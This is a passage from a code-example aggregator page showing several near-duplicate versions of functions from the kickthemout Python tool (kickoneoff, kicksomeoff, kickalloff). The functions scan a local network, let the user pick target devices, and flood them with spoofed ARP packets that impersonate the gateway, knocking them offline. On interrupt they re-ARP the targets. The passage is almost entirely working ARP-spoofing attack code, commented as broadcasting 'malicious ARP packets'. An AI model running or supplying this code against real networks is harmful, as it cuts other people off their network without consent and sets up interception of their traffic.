            YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN,
            vendor, YELLOW, hostname, GREEN, END))

    if options.packets is not None:
        print("\n{}Spoofing started... {}( {} pkts/min )".format(
            GREEN, END, str(options.packets)))
    else:
        print("\n{}Spoofing started... {}".format(GREEN, END))
    try:
        # broadcast malicious ARP packets
        reScan = 0
        while True:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    # dodge gateway (avoid crashing network itself)
                    spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                                     host[0], host[1])
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            if options.packets is not None:
                time.sleep(60 / float(options.packets))
            else:
                time.sleep(10)
    except KeyboardInterrupt:
        print("\n{}Re-arping{} targets...{}".format(RED, GREEN, END))
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    try:
                        # dodge gateway
                        spoof.sendPacket(defaultGatewayMac, defaultGatewayIP,
                                         host[0], host[1])
                    except KeyboardInterrupt:
                        pass
                    except:
                        runDebug()
            reArp += 1
            time.sleep(0.2)
        print("{}Re-arped{} targets successfully.{}".format(RED, GREEN, END))
コード例 #16
0
def kickoneoff():
    os.system("clear||cls")

    print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
    sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" +
              mac + "{4}\t" + vendor + "{5}").format(YELLOW, WHITE, RED, BLUE,
                                                     GREEN, END)

    canBreak = False
    while not canBreak:
        try:
            choice = int(raw_input("\nChoose a target: "))
            one_target_ip = onlineIPs[choice]
            canBreak = True
        except KeyboardInterrupt:
            return
        except:
            print(
                "\n{0}ERROR: Please enter a number from the list!{1}").format(
                    RED, END)

    # locate MAC of specified device
    one_target_mac = ""
    for host in hostsList:
        if host[0] == one_target_ip:
            one_target_mac = host[1]
    if one_target_mac == "":
        print("\nIP address is not up. Please try again.")
        return

    print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            # broadcast malicious ARP packets (10p/s)
            spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                             one_target_ip, one_target_mac)
            time.sleep(10)
    except KeyboardInterrupt:
        # re-arp target on KeyboardInterrupt exception
        print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            try:
                # broadcast ARP packets with legitimate info to restore connection
                spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0],
                                 host[1])
            except KeyboardInterrupt:
                pass
            except:
                runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)
コード例 #17
0
def kicksomeoff():
    os.system("clear||cls")

    print("\n{}kickSOMEOff{} selected...{}\n".format(RED, GREEN, END))
    global stopAnimation
    stopAnimation = False
    t = threading.Thread(target=scanningAnimation, args=('Hang on...',))
    t.daemon = True
    t.start()

    # commence scanning process
    try:
        scanNetwork()
    except KeyboardInterrupt:
        shutdown()
    stopAnimation = True

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        try:
            hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
        except:
            hostname = "N/A"
        vendor = resolveMac(mac)
        print("  [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END))

    canBreak = False
    while not canBreak:
        try:
            choice = input("\nChoose devices to target (comma-separated): ")
            if ',' in choice:
                someTargets = choice.split(",")
                canBreak = True
            else:
                print("\n{}ERROR: Please select more than 1 devices from the list.{}\n".format(RED, END))
        except KeyboardInterrupt:
            shutdown()

    someIPList = ""
    for i in someTargets:
        try:
            someIPList += onlineIPs[int(i)] + ", "
        except KeyboardInterrupt:
            shutdown()
        except:
            print("\n{}ERROR: '{}{}{}' is not in the list.{}\n".format(RED, GREEN, i, RED, END))
            return
    someIPList = someIPList[:-2] + END

    print("\n{}Targets: {}{}".format(GREEN, END, someIPList))

    if options.packets is not None:
        print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets)))
    else:
        print("\n{}Spoofing started... {}".format(GREEN, END))
    try:
        while True:
            # broadcast malicious ARP packets
            for i in someTargets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            if options.packets is not None:
                time.sleep(60/float(options.packets))
            else:
                time.sleep(10)
    except KeyboardInterrupt:
        # re-arp targets on KeyboardInterrupt exception
        print("\n{}Re-arping{} targets...{}".format(RED, GREEN, END))
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for i in someTargets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        try:
                            spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
                        except KeyboardInterrupt:
                            pass
                        except:
                            runDebug()
            reArp += 1
            time.sleep(0.2)
        print("{}Re-arped{} targets successfully.{}".format(RED, GREEN, END))
コード例 #18
0
def kickalloff():
    os.system("clear||cls")

    print("\n{}kickALLOff{} selected...{}\n".format(RED, GREEN, END))
    global stopAnimation
    stopAnimation = False
    t = threading.Thread(target=scanningAnimation, args=('Hang on...',))
    t.daemon = True
    t.start()

    # commence scanning process
    try:
        scanNetwork()
    except KeyboardInterrupt:
        shutdown()
    stopAnimation = True

    print("Target(s): ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        try:
            hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
        except:
            hostname = "N/A"
        vendor = resolveMac(mac)
        print("  [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END))
    
    if options.packets is not None:
        print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets)))
    else:
        print("\n{}Spoofing started... {}".format(GREEN, END))
    try:
        # broadcast malicious ARP packets
        reScan = 0
        while True:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    # dodge gateway (avoid crashing network itself)
                    spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            if options.packets is not None:
                time.sleep(60/float(options.packets))
            else:
                time.sleep(10)
    except KeyboardInterrupt:
        print("\n{}Re-arping{} targets...{}".format(RED, GREEN, END))
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    try:
                        # dodge gateway
                        spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
                    except KeyboardInterrupt:
                        pass
                    except:
                        runDebug()
            reArp += 1
            time.sleep(0.2)
        print("{}Re-arped{} targets successfully.{}".format(RED, GREEN, END))
コード例 #19
0
ファイル: kickthemout.py プロジェクト: ux8mz/kickthemout
def kickoneoff():
    os.system("clear||cls")

    print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
    sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    scanNetwork()


    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t"+ vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        try:
            choice = int(raw_input("\nChoose a target: "))
            one_target_ip = onlineIPs[choice]
            canBreak = True
        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END)

    # locate MAC of specified device
    one_target_mac = ""
    for host in hostsList:
        if host[0] == one_target_ip:
            one_target_mac = host[1]
    if one_target_mac == "":
        print("\nIP address is not up. Please try again.")
        return

    print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            # broadcast malicious ARP packets (10p/s)
            spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac)
            time.sleep(10)
    except KeyboardInterrupt:
        # re-arp target on KeyboardInterrupt exception
        print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            try:
                # broadcast ARP packets with legitimate info to restore connection
                spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
            except KeyboardInterrupt:
                pass
            except:
                runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)